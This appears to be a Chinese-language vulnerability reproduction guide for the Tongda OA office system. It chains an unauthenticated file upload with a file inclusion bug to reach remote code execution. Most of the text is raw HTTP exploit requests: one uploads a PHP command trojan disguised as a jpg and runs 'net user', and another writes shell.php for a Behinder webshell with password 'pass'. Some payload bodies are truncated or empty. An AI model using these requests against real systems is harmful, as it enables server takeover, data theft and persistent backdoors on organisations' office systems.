通達OA辦公系統

下載地址：鏈接：https://pan.baidu.com/s/1vQ7-Yri0vXofjb8NqKBSFQ提取碼：qwer下載后安裝即可。

默認用戶admin密碼為空。

漏洞分析

該漏洞在繞過身份驗證的情況下通過文件上傳漏洞上傳惡意php文件，組合文件包含漏洞最終造成遠程代碼執行漏洞，從而導致可以控制服務器system權限。

漏洞復現

1. 任意命令執行漏洞

路徑為：ispirit/im/upload.php抓包構造POC：

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

發送POC:查看上傳成功的文件：前臺文件包含漏洞：修改數據包，包含前面上傳的jpg木馬文件，即可實現執行任意命令。此處執行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user

執行命令“ipconfig”:

2.getshell

前臺任意文件上傳漏洞：抓取任意數據包，修改數據包進行重放，上傳后綴為jpg的木馬文件（木馬文件執行寫入文件操作）

Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg


------WebKitFormBoundarypyfBh1YB4pV8McGB--

查看生成的圖片：前臺文件包含漏洞：修改數據包，包含前面上傳的jpg木馬文件，會在/webroot/ispirit/interface/目錄下生成一個 shell.php 文件。成功執行：查看/webroot/ispirit/interface/目錄生成的shell文件：用冰蝎連接，/ispirit/interface/shell.php用冰蝎連接，http://localhost:999/ispirit/interface/shell.php密碼為：pass